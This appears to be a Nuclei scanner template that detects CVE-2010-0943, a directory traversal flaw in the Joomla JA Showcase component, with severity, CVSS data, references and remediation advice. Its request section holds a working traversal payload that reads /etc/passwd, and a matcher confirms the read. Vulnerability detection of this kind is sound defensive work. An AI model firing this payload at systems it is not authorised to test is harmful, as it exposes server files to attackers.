id: CVE-2010-0943

info:
  name: Joomla! Component com_jashowcase - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Update to the latest version of Joomla! Component com_jashowcase to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11090
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0943
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55512
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0943
    cwe-id: CWE-22
    epss-score: 0.01026
    epss-percentile: 0.76377
    cpe: cpe:2.3:a:joomlart:com_jashowcase:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlart
    product: com_jashowcase
  tags: cve,cve2010,joomla,lfi,edb,joomlart

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cf1c8cbe0a48a25320eee9f25084edff5c2fc72400d7746a8cd0aa3718ee7bd102207a4da4eaad73d1916f6c2767ba9314def6fb5be9190c59dcc3f49a47ccd2e19f:922c64590222798bb761d5b6d8e72950